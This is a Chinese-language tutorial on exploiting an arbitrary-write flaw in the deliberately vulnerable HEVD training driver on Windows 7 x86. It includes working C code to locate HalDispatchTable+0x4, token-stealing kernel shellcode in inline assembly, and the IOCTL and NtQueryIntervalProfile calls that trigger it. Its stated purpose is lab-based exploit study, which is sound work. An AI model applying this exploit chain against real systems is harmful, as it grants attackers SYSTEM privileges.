Windows Kernel Exploit(三) -> Write-What-Where
字数 1437 2025-08-05 08:20:14

Windows Kernel Exploit 教学:Write-What-Where 漏洞分析与利用

0x00 前言

本教学文档详细讲解 Windows 内核中的 Write-What-Where 漏洞(任意内存覆盖漏洞)的原理与利用方法。这是 Windows 内核漏洞利用系列的第三部分,需要读者具备以下基础环境:

  • Windows 7 x86 sp1 虚拟机
  • 配置好的 WinDbg 调试工具(建议配合 VirtualKD 使用)
  • HEVD (HackSys Extreme Vulnerable Driver) + OSR Loader 构造的漏洞环境

0x01 漏洞原理

漏洞代码分析

在 HEVD.sys 驱动中,TriggerArbitraryOverwrite 函数存在任意内存覆盖漏洞:

int __stdcall TriggerArbitraryOverwrite(_WRITE_WHAT_WHERE *UserWriteWhatWhere)
{
    unsigned int *v1; // edi
    unsigned int *v2; // ebx
    
    ProbeForRead(UserWriteWhatWhere, 8u, 4u);
    v1 = UserWriteWhatWhere->What;
    v2 = UserWriteWhatWhere->Where;
    
    DbgPrint("[+] UserWriteWhatWhere: 0x%p\n", UserWriteWhatWhere);
    DbgPrint("[+] WRITE_WHAT_WHERE Size: 0x%X\n", 8);
    DbgPrint("[+] UserWriteWhatWhere->What: 0x%p\n", v1);
    DbgPrint("[+] UserWriteWhatWhere->Where: 0x%p\n", v2);
    DbgPrint("[+] Triggering Arbitrary Overwrite\n");
    
    *v2 = *v1;
    return 0;
}

安全与非安全版本对比

安全版本:

#ifdef SECURE
// 安全版本:通过 ProbeForRead 验证用户模式地址
ProbeForRead((PVOID)Where, sizeof(PULONG_PTR), (ULONG)__alignof(PULONG_PTR));
ProbeForRead((PVOID)What, sizeof(PULONG_PTR), (ULONG)__alignof(PULONG_PTR));
*(Where) = *(What);
#else
// 漏洞版本:直接写入,无验证
DbgPrint("[+] Triggering Arbitrary Overwrite\n");
*(Where) = *(What);
#endif

ProbeForRead 函数的作用是检查用户模式缓冲区是否实际驻留在地址空间的用户部分中,并且正确对齐。

漏洞本质

该漏洞允许攻击者:

  1. 向任意内核地址(Where)写入任意数据(What)
  2. 由于缺乏对指针的验证,可以覆盖关键内核数据结构
  3. 可能导致权限提升或系统崩溃

0x02 漏洞利用

利用原理

基本思路:

  1. 控制 What 指针指向攻击者的 Shellcode
  2. 控制 Where 指针指向关键内核函数指针表
  3. 通过触发函数调用执行 Shellcode

控制码计算

HEVD 驱动中定义的控制码:

#define HACKSYS_EVD_IOCTL_ARBITRARY_OVERWRITE 
    CTL_CODE(FILE_DEVICE_UNKNOWN, 0x802, METHOD_NEITHER, FILE_ANY_ACCESS)

CTL_CODE 宏的计算公式:

#define CTL_CODE(DeviceType, Function, Method, Access) 
    ((DeviceType) << 16) | ((Access) << 14) | ((Function) << 2) | (Method)

通过 Python 计算具体值:

>>> hex((0x00000022 << 16) | (0x00000000 << 14) | (0x802 << 2) | 0x00000003)
'0x22200b'

数据结构

WRITE_WHAT_WHERE 结构体定义:

typedef struct _WRITE_WHAT_WHERE {
    PULONG_PTR What;
    PULONG_PTR Where;
} WRITE_WHAT_WHERE, *PWRITE_WHAT_WHERE;

关键地址定位

  1. 定位 HalDispatchTable+0x4

    • 这是内核函数指针表中的一个位置,通常用于存储函数指针
    • 覆盖此处可以劫持内核函数调用流程
  2. 查找步骤

    • 找到 ntkrnlpa.exe 在内核模式中的基地址
    • 找到 ntkrnlpa.exe 在用户模式中的基地址
    • 找到 HalDispatchTable 在用户模式中的地址
    • 计算 HalDispatchTable+0x4 的最终地址

详细利用代码

1. 获取 ntkrnlpa.exe 内核基地址

LPVOID NtkrnlpaBase() {
    LPVOID lpImageBase[1024];
    DWORD lpcbNeeded;
    TCHAR lpfileName[1024];
    
    // 检索系统中每个设备驱动程序的加载地址
    EnumDeviceDrivers(lpImageBase, sizeof(lpImageBase), &lpcbNeeded);
    
    for(int i = 0; i < 1024; i++) {
        // 检索指定设备驱动程序的基本名称
        GetDeviceDriverBaseNameA(lpImageBase[i], lpfileName, 48);
        if(!strcmp(lpfileName, "ntkrnlpa.exe")) {
            printf("[+]success to get %s\n", lpfileName);
            return lpImageBase[i];
        }
    }
    return NULL;
}

2. 获取用户模式基地址和 HalDispatchTable 地址

// 加载 ntkrnlpa.exe 到用户空间
HMODULE hUserSpaceBase = LoadLibrary("ntkrnlpa.exe");
// 获取 HalDispatchTable 地址
PVOID pUserSpaceAddress = GetProcAddress(hUserSpaceBase, "HalDispatchTable");

3. 计算 HalDispatchTable+0x4 地址

DWORD32 hal_4 = (DWORD32)pNtkrnlpaBase + 
               ((DWORD32)pUserSpaceAddress - (DWORD32)hUserSpaceBase) + 0x4;

4. Shellcode 设计

static VOID ShellCode() {
    _asm {
        // int 3
        pop edi    // 堆栈平衡
        pop esi
        pop ebx
        pushad
        
        mov eax, fs:[124h]    // 获取当前线程的 _KTHREAD 结构
        mov eax, [eax+0x50]   // 获取 _EPROCESS 结构
        mov ecx, eax
        mov edx, 4            // SYSTEM 进程的 PID (4)
        
        // 循环查找 SYSTEM 进程
    find_sys_pid:
        mov eax, [eax+0xb8]   // 遍历进程活动列表
        sub eax, 0xb8
        cmp [eax+0xb4], edx   // 通过 PID 判断是否为 SYSTEM
        jnz find_sys_pid
        
        // 替换 Token
        mov edx, [eax+0xf8]
        mov [ecx+0xf8], edx
        
        popad
        // int 3
        ret
    }
}

5. 完整利用流程

  1. 准备 WRITE_WHAT_WHERE 结构:

    • What: Shellcode 地址
    • Where: HalDispatchTable+0x4 地址
  2. 通过 DeviceIoControl 触发漏洞:

    DeviceIoControl(hDevice, 0x22200b, buf, 8, NULL, 0, &recvBuf, NULL);
    
  3. 调用 NtQueryIntervalProfile 触发 Shellcode:

    typedef NTSTATUS (WINAPI *NtQueryIntervalProfile_t)(
        IN KPROFILE_SOURCE ProfileSource,
        OUT PULONG Interval);
    
    NtQueryIntervalProfile_t NtQueryIntervalProfile = 
        (NtQueryIntervalProfile_t)GetProcAddress(GetModuleHandle("ntdll.dll"), "NtQueryIntervalProfile");
    
    NtQueryIntervalProfile(2, &interval);
    

0x03 调试技巧

  1. 显示 DbgPrint 输出:

    ed nt!Kd_DEFAULT_Mask 8
    
  2. 反汇编关键函数:

    u nt!NtQueryIntervalProfile+0x62
    u KeQueryIntervalProfile
    
  3. 查看 HalDispatchTable 结构:

    dd HalDispatchTable
    

0x04 总结

Write-What-Where 漏洞利用的关键点:

  1. 准确计算 HalDispatchTable+0x4 的地址
  2. 设计可靠的 Shellcode 并确保堆栈平衡
  3. 通过 NtQueryIntervalProfile 触发修改后的函数指针
  4. 利用进程 Token 替换实现权限提升

这种漏洞利用方式在内核漏洞利用中非常典型,掌握其原理和方法对于理解 Windows 内核安全机制至关重要。建议读者在实际环境中调试每一步,加深对漏洞利用过程的理解。

Windows Kernel Exploit 教学:Write-What-Where 漏洞分析与利用 0x00 前言 本教学文档详细讲解 Windows 内核中的 Write-What-Where 漏洞(任意内存覆盖漏洞)的原理与利用方法。这是 Windows 内核漏洞利用系列的第三部分,需要读者具备以下基础环境: Windows 7 x86 sp1 虚拟机 配置好的 WinDbg 调试工具(建议配合 VirtualKD 使用) HEVD (HackSys Extreme Vulnerable Driver) + OSR Loader 构造的漏洞环境 0x01 漏洞原理 漏洞代码分析 在 HEVD.sys 驱动中, TriggerArbitraryOverwrite 函数存在任意内存覆盖漏洞: 安全与非安全版本对比 安全版本: ProbeForRead 函数的作用是检查用户模式缓冲区是否实际驻留在地址空间的用户部分中,并且正确对齐。 漏洞本质 该漏洞允许攻击者: 向任意内核地址(Where)写入任意数据(What) 由于缺乏对指针的验证,可以覆盖关键内核数据结构 可能导致权限提升或系统崩溃 0x02 漏洞利用 利用原理 基本思路: 控制 What 指针指向攻击者的 Shellcode 控制 Where 指针指向关键内核函数指针表 通过触发函数调用执行 Shellcode 控制码计算 HEVD 驱动中定义的控制码: CTL_ CODE 宏的计算公式: 通过 Python 计算具体值: 数据结构 WRITE_WHAT_WHERE 结构体定义: 关键地址定位 定位 HalDispatchTable+0x4 : 这是内核函数指针表中的一个位置,通常用于存储函数指针 覆盖此处可以劫持内核函数调用流程 查找步骤 : 找到 ntkrnlpa.exe 在内核模式中的基地址 找到 ntkrnlpa.exe 在用户模式中的基地址 找到 HalDispatchTable 在用户模式中的地址 计算 HalDispatchTable+0x4 的最终地址 详细利用代码 1. 获取 ntkrnlpa.exe 内核基地址 2. 获取用户模式基地址和 HalDispatchTable 地址 3. 计算 HalDispatchTable+0x4 地址 4. Shellcode 设计 5. 完整利用流程 准备 WRITE_ WHAT_ WHERE 结构: What: Shellcode 地址 Where: HalDispatchTable+0x4 地址 通过 DeviceIoControl 触发漏洞: 调用 NtQueryIntervalProfile 触发 Shellcode: 0x03 调试技巧 显示 DbgPrint 输出: 反汇编关键函数: 查看 HalDispatchTable 结构: 0x04 总结 Write-What-Where 漏洞利用的关键点: 准确计算 HalDispatchTable+0x4 的地址 设计可靠的 Shellcode 并确保堆栈平衡 通过 NtQueryIntervalProfile 触发修改后的函数指针 利用进程 Token 替换实现权限提升 这种漏洞利用方式在内核漏洞利用中非常典型,掌握其原理和方法对于理解 Windows 内核安全机制至关重要。建议读者在实际环境中调试每一步,加深对漏洞利用过程的理解。